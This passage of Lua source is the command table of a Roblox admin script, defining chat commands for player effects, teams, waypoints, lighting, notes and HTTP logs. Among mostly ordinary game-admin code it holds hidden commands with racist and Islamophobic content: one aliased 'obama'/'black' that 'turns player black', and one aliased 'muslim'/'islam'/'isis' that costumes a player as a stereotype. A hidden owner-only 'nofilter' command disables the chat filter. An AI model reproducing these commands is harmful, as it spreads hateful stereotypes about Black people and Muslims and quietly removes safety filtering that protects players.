- Model.Name = Model.Name..string.char(math.random(97,122))
- end
- if Model:GetChildren()[1] then
- table.insert(Objects, Model)
- CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
- end
- end
- end};
- [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
- local ID = tonumber(Arguments[2])
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
- end
- end
- end};
- [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
- if StopAnim then StopAnim:Destroy() end
- end
- end
- end};
- [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
- if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
- Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
- end
- end};
- [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
- if tonumber(Arguments[1]) then
- Server.Lighting.Brightness = tonumber(Arguments[1])
- end
- end};
- [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- GUI:CoreGui(Player, "PlayerList", true)
- end
- end};
- [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- local Players = STRING:Scan(Arguments[1], Speaker)
- GUI:CoreGui(Player, "PlayerList", false)
- end
- end};
- [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
- GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
- end, Hidden = true};
- [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:ChangeCharacter(Player, 1337, false, Speaker)
- end
- end, Hidden = true};
- [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
- ypcall(function() Player.Character.Torso.roblox:Destroy() end)
- Player:ClearCharacterAppearance()
- CORE:Insert(12436480, Player.Character, true)
- Player.Character.Head.face.Texture = "rbxassetid://110287880"
- Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
- Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
- end
- end
- end, Hidden = true};
- [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:ChangeCharacter(Player, 0, false, Speaker)
- end
- end};
- [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
- ShouldFilter = false
- end, Hidden = true};
- [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
- local Bet = Arguments[1]
- if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
- GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
- elseif #Bet > 5 then
- GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
- else
- local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
- if Answer == "Yes" then
- local OldBet = Settings.Bet
- CORE:ChangeBet(Bet)
- GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
- end
- end
- end};
- [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
- local Prefix = Arguments[1]
- if #Prefix > 5 then
- GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
- else
- local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
- if Answer == "Yes" then
- local OldPrefix = Settings.Prefix
- Settings.Prefix = Prefix
- GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
- end
- end
- end};
- [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
- GUI:CommandBar(Speaker)
- end};
- [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
- GUI:CommandBar(Speaker)
- PermCommandBars[Speaker.Name] = true
- end};
- [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
- PermCommandBars[Speaker.Name] = nil
- end};
- [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- PermCommandBars[Player.Name] = nil
- end
- end};
- [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
- CORE:CreateFigure("Dummy", nil, true, Speaker)
- end};
- [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
- CORE:CreateFigure(Arguments[1], nil, true, Speaker)
- end};
- [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:ClonePlayer(Player)
- end
- end};
- [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- CORE:ClonePlayer(Player, Arguments[2])
- end
- end};
- [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
- for _,Obj in pairs(Objects) do
- if Obj then Obj:Destroy() end
- end
- for Name,Jail in pairs(Jails) do
- if not game.Players:FindFirstChild(Name) then
- Jail:Destroy()
- Jails[Name] = nil
- end
- end
- Objects = {}
- end};
- [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
- for _,Obj in pairs(Server.Workspace:GetChildren()) do
- if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
- Obj:Destroy()
- end
- end
- end};
- [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
- end
- end
- end};
- [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
- end
- end
- end};
- [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
- end
- end
- end};
- [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- for _,Get in pairs(Player.Character.Torso:GetChildren()) do
- if Get:IsA("Sparkles") then
- Get:Destroy()
- end
- end
- end
- end
- end};
- [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- for _,Get in pairs(Player.Character.Torso:GetChildren()) do
- if Get:IsA("Fire") then
- Get:Destroy()
- end
- end
- end
- end
- end};
- [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- for _,Get in pairs(Player.Character.Torso:GetChildren()) do
- if Get:IsA("Smoke") then
- Get:Destroy()
- end
- end
- end
- end
- end};
- [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
- local Boom = Instance.new("Explosion", Workspace)
- Boom.Position = Player.Character.Torso.Position
- end
- end
- end};
- [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- coroutine.wrap(function() for i = 1,50 do
- local Boom = Instance.new("Explosion", Workspace)
- Boom.Position = Player.Character.Torso.Position
- wait()
- end end)()
- coroutine.wrap(function() for i = 1,5 do
- SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
- end end)()
- end
- end
- end};
- [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
- Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
- CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
- end
- end
- end};
- [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
- end
- end
- end};
- [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- Player.Character.Parent = Server.Lighting
- end
- end
- end};
- [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- Player.Character.Parent = Server.Workspace
- Player.Character:MakeJoints()
- end
- end
- end};
- [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid.PlatformStand = true
- end
- end
- end};
- [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid.PlatformStand = false
- end
- end
- end};
- [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid.Jump = true
- end
- end
- end};
- [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid.Sit = true
- end
- end
- end};
- [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid.Sit = false
- end
- end
- end};
- [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
- end
- end
- end};
- [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
- end
- end
- end};
- [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
- GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
- end};
- [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Color = "Blue"
- local String = Arguments[2]
- local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
- if #ChatSplit >= 2 then
- if string.lower(ChatSplit[1]) == "green" then
- Color = "Green"
- String = ChatSplit[2]
- elseif string.lower(ChatSplit[1]) == "red" then
- Color = "Red"
- String = ChatSplit[2]
- end
- end
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Head") then
- game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
- end
- end
- end};
- [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
- end
- end
- end};
- [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local ID = nil
- if tonumber(Arguments[2]) ~= nil then
- ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
- else
- for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
- for _,Face in pairs(FaceTable) do
- if string.lower(Arguments[2]) == string.lower(Face) then
- ID = FaceID
- break
- end
- end
- end
- end
- if ID then
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
- Player.Character.Head.face.Texture = "rbxassetid://"..ID
- pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
- end
- end
- end
- end};
- [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Head") then
- local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
- BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
- local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
- end
- end
- end};
- [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Head") then
- local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
- end
- end
- end};
- [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
- REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
- end, Http = true};
- [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Downloads http logs sent by all admins using RemoteAdmin with a DataKey from the Linked Account", 0, "Admin", false, function(Speaker, Rank, Arguments)
- GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
- end, Http = true};
- [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- local ExistingData = Player:LoadInstance("Data")
- if ExistingData == nil then
- ExistingData = Instance.new("Configuration")
- end
- ExistingData.Name = "Player Data"
- local Key = Instance.new("Configuration", ExistingData)
- Key.Name = Arguments[2]
- Player:SaveInstance("Data", ExistingData)
- end
- end};
- [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local Data = Arguments[2]
- for _,Player in pairs(Players) do
- local ExistingData = Player:LoadInstance("Data")
- if ExistingData ~= nil then
- if string.lower(Data) == "all" then
- ExistingData:ClearAllChildren()
- else
- for _,DataObj in pairs(ExistingData:GetChildren()) do
- if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
- DataObj:Destroy()
- end
- end
- end
- end
- Player:SaveInstance("Data", ExistingData)
- end
- end};
- [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local DataSet = {}
- for _,Player in pairs(Players) do
- local ExistingData = Player:LoadInstance("Data")
- if ExistingData ~= nil then
- if #ExistingData:GetChildren() ~= 0 then
- for _,Data in pairs(ExistingData:GetChildren()) do
- table.insert(DataSet, Player.Name..": "..Data.Name)
- end
- else
- table.insert(DataSet, "Data does not exist for "..Player.Name)
- end
- else
- table.insert(DataSet, "Data does not exist for "..Player.Name)
- end
- end
- GUI:ListGui(Speaker, "Notes", DataSet)
- end};
- [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid.WalkSpeed = 16
- end
- end
- end};
- [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid.WalkSpeed = -16
- end
- end
- end};
- [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
- local TeamColor = BrickColor.random()
- local TeamName = Arguments[1]
- local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
- if #TeamNameSplit >= 2 then
- local Color = TeamNameSplit[1]
- local NewTeamName = TeamNameSplit[2]
- if Color == "Medium stone grey" then
- TeamColor = BrickColor.new(Color)
- TeamName = NewTeamName
- elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
- TeamColor = BrickColor.new(Color)
- TeamName = NewTeamName
- elseif Colors[string.upper(Color)] then
- TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
- TeamName = NewTeamName
- end
- end
- local NewTeam = Instance.new("Team", Server.Teams)
- NewTeam.TeamColor = TeamColor
- NewTeam.Name = TeamName
- end};
- [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- Player.Neutral = true
- end
- end};
- [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- if string.lower(Arguments[2]) == "none" then
- for _,Player in pairs(Players) do
- Player.Neutral = true
- end
- else
- for _,Obj in pairs(Server.Teams:GetChildren()) do
- if Obj:IsA("Team") then
- if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
- for _,Player in pairs(Players) do
- Player.Neutral = false
- Player.TeamColor = Obj.TeamColor
- end
- end
- end
- end
- end
- end};
- [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
- for _,Obj in pairs(Server.Teams:GetChildren()) do
- if Obj:IsA("Team") then
- if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
- for _,Player in pairs(Server.Players:GetPlayers()) do
- if Player.TeamColor == Obj.TeamColor then
- Player.Neutral = true
- end
- end
- Obj:Destroy()
- end
- end
- end
- end};
- [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
- for _,Player in pairs(Server.Players:GetPlayers()) do
- Player.Neutral = true
- end
- for _,Obj in pairs(Server.Teams:GetChildren()) do
- if Obj:IsA("Team") then
- Obj:Destroy()
- end
- end
- end};
- [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
- for _,Player in pairs(Server.Players:GetPlayers()) do
- GUI:Countdown(Player, Arguments[1])
- end
- end};
- [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player:FindFirstChild("Backpack") then
- CORE:ExecuteResource("ShowAd", Player.Backpack)
- end
- end
- end};
- [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- for PosName,WP in pairs(Waypoints) do
- if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
- Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
- break
- end
- end
- end
- end
- end};
- [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
- CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
- end};
- [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Num = 0
- for PosName,WP in pairs(Waypoints) do
- Num = Num + 1
- if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
- Waypoints[PosName] = nil
- end
- end
- end};
- [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
- local WaypointHolder,WaypointRaw = {},{}
- for Name, WP in pairs(Waypoints) do
- local View = Name..": "..tostring(WP)
- table.insert(WaypointHolder, View)
- WaypointRaw[View] = WP
- end
- local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
- Clicked.Event:connect(function(Text)
- local Waypoint = WaypointRaw[Text]
- if Waypoint then
- if Speaker.Character then
- Speaker.Character:MoveTo(Waypoint)
- end
- end
- end)
- end};
- [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local List = {}
- for _,Player in pairs(Players) do
- table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
- end
- GUI:ListGui(Speaker, "Listed Players", List)
- end};
- [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
- if tonumber(Arguments[1]) then
- ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
- else
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
- end
- end
- end};
- [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local Friends,OneFriend = {}, false
- for _,Player in pairs(Players) do
- for _,User in pairs(Server.Players:GetPlayers()) do if User ~= Player then
- --[[if Player:IsBestFriendsWith(User.UserId) then
- table.insert(Friends, Player.Name.." is best friends with "..User.Name)
- OneFriend = true
- ]]
- if Player:IsFriendsWith(User.UserId) then
- table.insert(Friends, Player.Name.." is friends with "..User.Name)
- OneFriend = true
- end
- if _ == #Server.Players:GetPlayers() and OneFriend == false then
- table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
- end
- end end
- end
- GUI:ListGui(Speaker, "Friend List", Friends)
- end};
